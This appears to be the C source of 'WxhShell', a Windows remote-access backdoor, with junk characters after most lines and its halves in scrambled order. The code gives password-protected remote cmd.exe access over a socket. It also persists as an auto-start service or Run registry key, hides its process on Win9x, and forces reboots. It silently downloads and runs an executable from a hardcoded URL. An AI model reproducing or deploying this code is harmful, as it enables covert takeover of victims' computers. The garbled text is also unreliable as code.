    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zt.|oYH$  
    else { Gc;{\VU  
    closesocket(wsh); =k0_eX0  
    ExitThread(0); p\ZNy\N^  
    } hL;(C) (  
    break; Nyj( 0W  
    } G&V/Gj8  
  // 获取shell %k?U9pj^  
  case 's': { vucxt }Ti  
    CmdShell(wsh); u=7J /!H7^  
    closesocket(wsh); C-MjJ6D<  
    ExitThread(0); fs%.}^kn  
    break; i||]V*5n  
  } M={V|H0  
  // 退出 $!yW_HTx  
  case 'x': { D(RTVef  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sCk?  
    CloseIt(wsh); #& Rw&  
    break; 91  g2A|  
    } 4 f'V8|QM{  
  // 离开 H'HA+q  
  case 'q': { f;gw"onx8F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k$J zH$  
    closesocket(wsh); sN2p76KN  
    WSACleanup(); \2"I;  
    exit(1); uIZ-#q  
    break; X_|J@5b7  
        } zhRB,1iG  
  } HxK80mJ  
  } \BZhf?9U  
@u]rWVy;\[  
  // 提示信息 P} SCF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | >27 B  
} FrYqaP  
  } \uC15s<  
uPG4V2  
  return; Yc `)R  
} r )~ T@'y  
u\{ g(li-I  
// shell模块句柄 K3;nY}\>  
int CmdShell(SOCKET sock) Z9 9>5\k  
{ S.m{eur!,E  
STARTUPINFO si; ps%q9}J  
ZeroMemory(&si,sizeof(si)); Q/_f zg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $yYO_ZBiy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |J} Mgb-4  
PROCESS_INFORMATION ProcessInfo; O 8u j`G 9  
char cmdline[]="cmd"; Vz)`nmO}5\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O#k6' LN?  
  return 0; 7-T{a<g  
} 6qaQ[XTxf  
qI<mjB{3`  
// 自身启动模式 9Hu/u=vB<  
int StartFromService(void) H_ox_ u}  
{ Q=T&  
typedef struct  }'/`2!lY  
{ i Ae<&Ms  
  DWORD ExitStatus; M:3h e  
  DWORD PebBaseAddress; (+3Wgl+]/  
  DWORD AffinityMask; J<maQ6p  
  DWORD BasePriority; : b~6i%b  
  ULONG UniqueProcessId; ^(h+URFpA  
  ULONG InheritedFromUniqueProcessId; oMTf"0EIW  
}   PROCESS_BASIC_INFORMATION; g(J&m< I  
Jesjtcy<*  
PROCNTQSIP NtQueryInformationProcess; ;R?I4}O#R8  
J@X'PG< 6B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *nsAgGKKM^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qt 2d\f  
)>-ibf`#?  
  HANDLE             hProcess;  KiOcu=F  
  PROCESS_BASIC_INFORMATION pbi; .Pw\~X3!  
Qx47l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?Poq2  
  if(NULL == hInst ) return 0; EEZw_ 1  
D{4YxR PX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J6G(_(d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qfz8jY]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c#]q^L\x  
)R  2.  
  if (!NtQueryInformationProcess) return 0; wz.6du6-  
sx51X^d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7C2&NyWJ  
  if(!hProcess) return 0; L^4-5`gj  
5-0{+R5v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s)2fG\1  
QtqfG{  
  CloseHandle(hProcess); QZhj b  
O Wj@< N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1=a>f "cyf  
if(hProcess==NULL) return 0; D HT&,=  
S^<g_ q  
HMODULE hMod; #\ n8M  
char procName[255]; ]&{ci  
unsigned long cbNeeded; ,qrQ"r9  
{$^DMANDx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v\"S Gc  
[mr9(m[F  
  CloseHandle(hProcess); ld7v3:M  
$gM8{.!  
if(strstr(procName,"services")) return 1; // 以服务启动 )){9&5,0:  
8Bq!4uq\5|  
  return 0; // 注册表启动 &0BdUU+:<  
} H'UR8%  
pdEiqLhH  
// 主模块 \VFHHi:I  
int StartWxhshell(LPSTR lpCmdLine) 0% #<c p  
{ PeE/iZ.  
  SOCKET wsl; e=QK}gzX  
BOOL val=TRUE; *d',Vuv&[  
  int port=0; {Pu\?Cq  
  struct sockaddr_in door; NAzX". g  
3QOUU,Dt$  
  if(wscfg.ws_autoins) Install(); BiZ=${y  
79yd&5#e?  
port=atoi(lpCmdLine); y{a$y}7#X  
zn @N'R/  
if(port<=0) port=wscfg.ws_port; ?}Lg)EFH  
`[YngYw  
  WSADATA data; EK$Kee}~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q0bHB_|wL  
UYtuED  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *VkgQ`c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q(5+xSg"gK  
  door.sin_family = AF_INET; A[YpcG'9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F("#^$  
  door.sin_port = htons(port); =0'q!}._!  
(?b@b[D~4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^:jN3@ Q%  
closesocket(wsl); :p4"IeKs  
return 1; 5Y3i|cj  
} 9ElCg"  
V8~jf-\$b  
  if(listen(wsl,2) == INVALID_SOCKET) { {3Vk p5%l  
closesocket(wsl); **[Z^$)u(  
return 1; [;b=A  
} JkA|Qdj~Mr  
  Wxhshell(wsl); V=:_d,  
  WSACleanup(); <[/%{sUNC  
"XLe3n  
return 0; ib0g3p-Lc  
'?yCq$&  
} +tN &a  
cDXsi#Raj  
// 以NT服务方式启动 gX?n4Csy'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v1.q$ f^(  
{ \BI/G  
DWORD   status = 0; BXUF^Hj%  
  DWORD   specificError = 0xfffffff; #m8sK(#lo  
]^\8U2q}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &(xUhX T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RX2{g^V7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L6i|:D32p  
  serviceStatus.dwWin32ExitCode     = 0; Gr(|Ra .  
  serviceStatus.dwServiceSpecificExitCode = 0; 7nHTlI1 b  
  serviceStatus.dwCheckPoint       = 0; NgB 7?]vu  
  serviceStatus.dwWaitHint       = 0; xkA2g[  
Jll-X\O`-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  \`xkp[C  
  if (hServiceStatusHandle==0) return; emA!Ew(g  
w9#R'  
status = GetLastError(); 1;W=!Fx  
  if (status!=NO_ERROR) ? 4)v`*  
{ ev>oC~>s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; px9>:t[P  
    serviceStatus.dwCheckPoint       = 0; 0D)`2W  
    serviceStatus.dwWaitHint       = 0; 3,.% s  
    serviceStatus.dwWin32ExitCode     = status; (3EUy"z-  
    serviceStatus.dwServiceSpecificExitCode = specificError; hPufzhT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?|t/mo|K?  
    return; i|\{\d  
  } 3^G96]E  
Z-|li}lDr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F1A1@{8bN  
  serviceStatus.dwCheckPoint       = 0; 9[|4[3K  
  serviceStatus.dwWaitHint       = 0; hr U :Wr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *PM}"s  
} ~/`X*n&  
&P n]  
// 处理NT服务事件,比如:启动、停止 c#q"\"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A'"-m)1P  
{ !z=pP$81  
switch(fdwControl) }#b %"I0  
{ MtG_9-  
case SERVICE_CONTROL_STOP: LC'2q*:'  
  serviceStatus.dwWin32ExitCode = 0; AQci,j"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7>x;B  
  serviceStatus.dwCheckPoint   = 0; 6f}e+80  
  serviceStatus.dwWaitHint     = 0;  0:dB 9  
  { v>WB FvyD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [(c L/_  
  } H%Y%fQ ~^  
  return; PqhlXqX9  
case SERVICE_CONTROL_PAUSE: 5V|tXsy:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &`PbO  
  break; RWahsJTu  
case SERVICE_CONTROL_CONTINUE: uJPH~mdW   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #K`B<2+T  
  break; ,35Ag#va  
case SERVICE_CONTROL_INTERROGATE: A1<k1[5fJ  
  break; z^~U]S3  
}; ;Prg'R[o;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &HxT41pku  
} WOH9%xv  
oYq E*mA  
// 标准应用程序主函数 \DyKtrnm%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M,L@k  
{ kv%)K'fU4  
kGj]i@(PA4  
// 获取操作系统版本 *dVD  
OsIsNt=GetOsVer(); #wD7 \X-f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); htg'tA^CtS  
n +d J c  
  // 从命令行安装 2?H@$-x>  
  if(strpbrk(lpCmdLine,"iI")) Install(); KF4see;;  
Znq(R8BMW  
  // 下载执行文件 K*[0dza$  
if(wscfg.ws_downexe) { R]VTV7D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |Rk37P {  
  WinExec(wscfg.ws_filenam,SW_HIDE); ujNt(7Cz  
} Wb'*lT0=  
! fX9*0L  
if(!OsIsNt) { 4Q/r[x/&C  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bx%=EN5.  
HideProc(); r)%4-XeV  
StartWxhshell(lpCmdLine); F94V5_[  
} o8mo=V4j  
else 4&H+hN{3  
  if(StartFromService()) \c FAxL(  
  // 以服务方式启动 $TFTIk*uU  
  StartServiceCtrlDispatcher(DispatchTable); SUSc  
else -D$3!ccX  
  // 普通方式启动 v7g [Lk  
  StartWxhshell(lpCmdLine); dkf}),Z F  
69?I?,7  
return 0; \v.HG] /u  
} Y<de9Z@  
^v#+PyW  
_y|[Z;  
THb A(SM  
=========================================== x ru(Le}E  
M3)v-"  
6_pDe  
ZyZl\\8U  
S_`W@cp[  
XlE$.  
" }#YIl@E  
g2!0vB>  
#include <stdio.h> bbM4A! N  
#include <string.h> =H L9Z  
#include <windows.h> sTJJE3TBI  
#include <winsock2.h> YAX #O\,  
#include <winsvc.h> Qu!OV]Cc  
#include <urlmon.h> axHxqhO7zp  
YNuewD  
#pragma comment (lib, "Ws2_32.lib") e OO!jrT:  
#pragma comment (lib, "urlmon.lib") pq%t@j(X  
cq- e c7  
#define MAX_USER   100 // 最大客户端连接数 -t;?P2  
#define BUF_SOCK   200 // sock buffer Jv-zB]3&  
#define KEY_BUFF   255 // 输入 buffer B/kcb(5v  
k*A4;Bm  
#define REBOOT     0   // 重启 wOD/Z8  
#define SHUTDOWN   1   // 关机 bEBZ!ghU  
?*B;514  
#define DEF_PORT   5000 // 监听端口 qb#V)  
{mKpD  
#define REG_LEN     16   // 注册表键长度 $IZ *|>(  
#define SVC_LEN     80   // NT服务名长度 H@VBP Q}Q  
!NlB%cF  
// 从dll定义API 5%vP~vy_}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c80"8r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *fOS"-C L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bEOOFs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o{s4.LKK  
NB~*sP-l&  
// wxhshell配置信息 j@kRv@  
struct WSCFG { 2b{@]Fp  
  int ws_port;         // 监听端口 +_vm\]4  
  char ws_passstr[REG_LEN]; // 口令 /3xFd)|Ds  
  int ws_autoins;       // 安装标记, 1=yes 0=no s (l+{b &  
  char ws_regname[REG_LEN]; // 注册表键名 ;jpw"-J`  
  char ws_svcname[REG_LEN]; // 服务名 $~;6hnr m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _rWTw+ L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #t5JUi%in*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L%=BCmMx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'Q^G6'(SaK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /i7>&ND.r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #,Fx@3y\a  
x<)!$cg  
}; +4p2KYO  
 )^QG-IM  
// default Wxhshell configuration P17]}F``  
struct WSCFG wscfg={DEF_PORT, m-&a~l  
    "xuhuanlingzhe", Z=1,<ydKV  
    1, @Reh?]# v  
    "Wxhshell", }J4BxBuV8  
    "Wxhshell", =qVAvo'  
            "WxhShell Service", "X!_37kQ  
    "Wrsky Windows CmdShell Service", ]J0Y^dM  
    "Please Input Your Password: ", Tk2&{S"  
  1, PhI{3B/  
  "http://www.wrsky.com/wxhshell.exe", ] "7El;2z  
  "Wxhshell.exe" ;9- 4J  
    }; E!oJ0*@  
f{oxF?|89  
// 消息定义模块 )gm\e?^   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _s=Pk[e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3mnLV*aRt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <jg wdbT"6  
char *msg_ws_ext="\n\rExit."; &nY2u-Q  
char *msg_ws_end="\n\rQuit."; L2Qp6A6S  
char *msg_ws_boot="\n\rReboot..."; >LRaIU>  
char *msg_ws_poff="\n\rShutdown..."; v6, o/3Ex  
char *msg_ws_down="\n\rSave to "; qoyGs}/I8  
 4pOc`  
char *msg_ws_err="\n\rErr!"; yO69p  
char *msg_ws_ok="\n\rOK!"; Yc( )'6  
;L/T}!Dx  
char ExeFile[MAX_PATH]; ,L;c{[*rh  
int nUser = 0; ,J4a~fPf  
HANDLE handles[MAX_USER]; KfI$'F #"/  
int OsIsNt; trNK9@wT)  
e?'k[ES^  
SERVICE_STATUS       serviceStatus; GCmVmOdKr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P+ h<{%:*  
-O,O<tOm  
// 函数声明 (Su2 \x  
int Install(void); _J$p <  
int Uninstall(void); _}%# Yz  
int DownloadFile(char *sURL, SOCKET wsh); Zm'::+ tl  
int Boot(int flag); ]k%KTvX*G  
void HideProc(void); [8(9.6f  
int GetOsVer(void); MyS7AL   
int Wxhshell(SOCKET wsl); I<o4l[--  
void TalkWithClient(void *cs); 0 GLB3I >  
int CmdShell(SOCKET sock); F[qI fh4  
int StartFromService(void); j~<iTLM  
int StartWxhshell(LPSTR lpCmdLine); 0}3'h#33=  
zAdVJ58H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); < EE+ S#z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3lEU$)QA3  
iZqFVr&JF  
// 数据结构和表定义 `x^,k% :4  
SERVICE_TABLE_ENTRY DispatchTable[] = _1bd)L&dF  
{ Zvw3C%In  
{wscfg.ws_svcname, NTServiceMain}, ?^A:~"~  
{NULL, NULL} IpVwnNj!}  
}; [Z&s0f1Qb  
~5?n&pF  
// 自我安装 z.F+$6  
int Install(void) 79fyn!Iz<  
{ ;DWp>jgy  
  char svExeFile[MAX_PATH]; _|#|mb4Fe  
  HKEY key; iPL'JVPZ  
  strcpy(svExeFile,ExeFile); nylIP */  
]cY'6'}Hz  
// 如果是win9x系统,修改注册表设为自启动 {Ao^3vB  
if(!OsIsNt) { K>~cY%3^i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L&k$4,Z9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ju 6_L<  
  RegCloseKey(key); M L_J<|,J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .aRxqFi_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w3hL.Z,kV  
  RegCloseKey(key); ~./u0E  
  return 0; oU6g5  
    } ?UZ yu 4O%  
  } B{u.Yc:  
} T$B4DQ  
else { @"5u~o')@v  
f }e7g d]M  
// 如果是NT以上系统,安装为系统服务 /{} ]Hu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -$p-o Z)  
if (schSCManager!=0) 'vClZGQ1  
{ L(rjjkH  
  SC_HANDLE schService = CreateService FCAu%lvZT  
  ( N%i<DsK.u6  
  schSCManager, Ct33S+y  
  wscfg.ws_svcname, aDEP_b;  
  wscfg.ws_svcdisp, 9_dsiM7CT  
  SERVICE_ALL_ACCESS, T}On:*&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j<5R$^?U  
  SERVICE_AUTO_START, a OHAG  
  SERVICE_ERROR_NORMAL, +t6m>IBu  
  svExeFile, v2g+o KO]  
  NULL, 06O  
  NULL, F`3As 9b:  
  NULL, ^9E(8DD  
  NULL, E':Z_ ^4  
  NULL hQeZI+  
  ); 9)X<}*(qo  
  if (schService!=0) {S~$\4vC!  
  { -|mRJVl8  
  CloseServiceHandle(schService); 6<6_W#  
  CloseServiceHandle(schSCManager); ~;` #{$/C&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,B!Qv3bn  
  strcat(svExeFile,wscfg.ws_svcname); Wn5]2D\vkT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K.Ir+SB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e2F7G>q:5  
  RegCloseKey(key); Czn7,KE8X  
  return 0; 2 {0VyLx  
    } Q0q$ZK6C  
  } ij^!TY[0  
  CloseServiceHandle(schSCManager); C]cw@:o%  
} Uk4">]oct  
} st>t~a|T  
9IV WbJ  
return 1; +J9lD`z  
} NST6pu\,U  
fZC,%p  
// 自我卸载 ?;Qk!t2U  
int Uninstall(void) cCs:z   
{ hd' n"  
  HKEY key; dQb?Zi7g  
lB-7.  
if(!OsIsNt) { E83nEUs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'cv/"26#  
  RegDeleteValue(key,wscfg.ws_regname); WDq3K/7\  
  RegCloseKey(key); JZ [&:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3-5lO#&#  
  RegDeleteValue(key,wscfg.ws_regname); R >TtAm0N  
  RegCloseKey(key); ;iVyJZI  
  return 0;  V Euv  
  } oZCO$a  
} &[uGfm+@  
} VTU-'q  
else { "]<Ut{Xb  
s#ykD{ Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t$J-6dW  
if (schSCManager!=0) !*;)]j  
{ vEkz 5$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t@\0$V \X  
  if (schService!=0) cl:YN]BK  
  { o <y7Ut  
  if(DeleteService(schService)!=0) { /+iaw~={"  
  CloseServiceHandle(schService); !TcjB;q'  
  CloseServiceHandle(schSCManager); !VW#hc \A5  
  return 0; Nf1l{N  
  } 2rk_ ssvs  
  CloseServiceHandle(schService); XcXd7e  
  } 3c)LBM  
  CloseServiceHandle(schSCManager); #oaX<,  
} VCIG+Gz  
} b3ZPlLx6  
eL.S="  
return 1; :3k(=^%G!  
} Q["}U7j  
<M=K!k  
// 从指定url下载文件 OP@PB|  
int DownloadFile(char *sURL, SOCKET wsh) |<E%hf  
{ "-9YvB#  
  HRESULT hr; OtJS5A  
char seps[]= "/"; &\A$Rj)  
char *token; \6o ~ i  
char *file; &wJ"9pQ~6E  
char myURL[MAX_PATH]; 7Y-GbG.'  
char myFILE[MAX_PATH]; *N't ;  
qz 'a.]{=  
strcpy(myURL,sURL);  j%lW+ [%  
  token=strtok(myURL,seps); d(tq;2-  
  while(token!=NULL) /)|*Vzu  
  { _M?:N:e  
    file=token; "|hmiMdGB  
  token=strtok(NULL,seps); tw;`H( UZ^  
  } W6Hiqu+  
2a{eJ89f  
GetCurrentDirectory(MAX_PATH,myFILE); O!a5  
strcat(myFILE, "\\"); "*UHit;"+{  
strcat(myFILE, file); jYU#] |k~  
  send(wsh,myFILE,strlen(myFILE),0);  `=oN&!  
send(wsh,"...",3,0); E@?jsN7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Es?~Dd  
  if(hr==S_OK) "UE'd Wz  
return 0; b*$^8%  
else JV@>dK8  
return 1; IE3GM^7\  
jvW/M.q4  
} sx6` g;  
X/?3ifP6I  
// 系统电源模块 *-2u0%  
int Boot(int flag) ifuVVFov  
{ JTVCaL3Z  
  HANDLE hToken; /q8n_NR  
  TOKEN_PRIVILEGES tkp; \i{=%[c  
BONM:(1  
  if(OsIsNt) { REw!@Y."  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ) ><{A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B;^7Yu0,  
    tkp.PrivilegeCount = 1; FX\ -Y$K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t0/fF'GZD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &}rh+z  
if(flag==REBOOT) { D>05F,a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2&dtOyxo>  
  return 0; 0LxA+  
} -8g ;t3z  
else { --y .q~d  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yt$V<8a  
  return 0; nsYS0  
} SZE X;M  
  } jh9^5"vQ  
  else { `XQM)A  
if(flag==REBOOT) { 9;kWuP>k4u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }*;Hhbox  
  return 0; C)Mh  
} jRzR`>5  
else { A:>G:X5t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A\gj\&B0"  
  return 0; ^KmyB6Yg  
} zkB_$=sbn#  
} gZ:)l@ Wu  
\3Ys8umKq  
return 1; ,Epg&)wC]  
} J %URg=r  
x-Yt@}6mvl  
// win9x进程隐藏模块 Sw>AgES  
void HideProc(void) p\~ lPXK  
{ + ,0RrD )  
pJ1GB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ++BVn[1  
  if ( hKernel != NULL ) xqX~nV#TB  
  { i e%ZX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n"$D/XJO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J8~3LE )G  
    FreeLibrary(hKernel); U5%EQc-"P  
  } 9-I;'  
-(@dMY  
return; UIIR$,XB  
} bo`w( h_  
b> Iq k  
// 获取操作系统版本 &CG3_s<2  
int GetOsVer(void) 77.5 _  
{ N_UZu  
  OSVERSIONINFO winfo; x=gZ7$?A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -aXV}ZY"  
  GetVersionEx(&winfo); T[*=7jnJQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %HpTQ   
  return 1; =AUR]&_B  
  else @I_A\ U{  
  return 0; 8J7 xs6@  
} A!x_R {,yH  
It!PP1$   
// 客户端句柄模块 HFB2ep7N  
int Wxhshell(SOCKET wsl) ]+{Cy\*kR  
{ 8yF15['  
  SOCKET wsh; ZjF$zVk  
  struct sockaddr_in client; 25NZIal<  
  DWORD myID; _A;jtS)SY  
FDkRfhK  
  while(nUser<MAX_USER) j|A *rzL8  
{ 7AX<>^  
  int nSize=sizeof(client); =;9Wh!{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -:h5Ky"  
  if(wsh==INVALID_SOCKET) return 1; '(7]jug  
x}?y@.sn8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z AacX@  
if(handles[nUser]==0) 6Y>MW 4q  
  closesocket(wsh); @(,k%84z  
else F<M#T  
  nUser++; +^iUY%pm  
  } &HNJ '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R#"kh/M  
DGz'Dn  
  return 0; 5hUYxF20h8  
} bjmUU6VLT  
5?&k? v@  
// 关闭 socket rUvqAfE&+  
void CloseIt(SOCKET wsh) cZuZfMDM  
{ %M2.h;9]*\  
closesocket(wsh); @F]6[  
nUser--; VLQDktj&  
ExitThread(0); w}c1zpa  
} ^/47 *vcN5  
@Kd1|K  
// 客户端请求句柄 17I{_C  
void TalkWithClient(void *cs) 5)+(McJC  
{ 4_Tx FulX.  
2 :u4~E3  
  SOCKET wsh=(SOCKET)cs; /J]Yj,  
  char pwd[SVC_LEN]; iNUisl  
  char cmd[KEY_BUFF]; *6s B$E_y  
char chr[1]; Qw!cd-zc  
int i,j; 2f9~:.NgF  
[u;]J*  
  while (nUser < MAX_USER) { qL091P\F  
+Pd&YfU9  
if(wscfg.ws_passstr) { p%EU,:I6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uc<XdFcu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LzB)o\a  
  //ZeroMemory(pwd,KEY_BUFF); iT1"Le/N  
      i=0; E9bc pup  
  while(i<SVC_LEN) { ~u.( (GM  
`zP{E T_Y  
  // 设置超时 S|Yz5)*  
  fd_set FdRead; }zrapL"9X  
  struct timeval TimeOut; LPkl16yZ  
  FD_ZERO(&FdRead); :71St '  
  FD_SET(wsh,&FdRead); 5]2 p>%G  
  TimeOut.tv_sec=8; HaQox.v%  
  TimeOut.tv_usec=0; I\|.WrMNi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )&ucX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Lg|]|,%e  
{}BAQ9|q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ym2"D?P (  
  pwd=chr[0]; K8h\T4  
  if(chr[0]==0xd || chr[0]==0xa) { "1rT> ASWI  
  pwd=0; rg I Z  
  break; >txeo17Ba\  
  } 9yj'->dL  
  i++; '-P+|bZW4  
    } WpC9(AX5g  
5X:3'*  
  // 如果是非法用户,关闭 socket 4TSkm`iR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TpxAp',#7  
}  J {$c|  
?3<Y/Vg%c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); </W"e!?X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }|l7SFst  
~gg&G~ ET  
while(1) { }l_8~/9  
54oJ MW9  
  ZeroMemory(cmd,KEY_BUFF); xxOhGA)  
=D)ADZ\<r  
      // 自动支持客户端 telnet标准   rnBp2'EM  
  j=0; ?h,.1Tb  
  while(j<KEY_BUFF) { qpq(<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Gr@Mi5  
  cmd[j]=chr[0]; vILgM\or  
  if(chr[0]==0xa || chr[0]==0xd) { c!mMH~#  
  cmd[j]=0; fP llN8n  
  break; {8,_[?H  
  } NosOd*S  
  j++; c,#Nd@  
    } {d> 6*b  
@?& i   
  // 下载文件 7t+H94KG7  
  if(strstr(cmd,"http://")) { ;Pvnhy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); o8S P#ET"n  
  if(DownloadFile(cmd,wsh)) (iht LFp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Ggn2 X  
  else Mo4c8wp&SM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $9Gra#  
  } }sp?@C,Z  
  else { |7!Bk$(vA  
/'^ BH A|h  
    switch(cmd[0]) { ~w(A3I.  
  V(Oi!(H;v  
  // 帮助 ^}lL@Bd|  
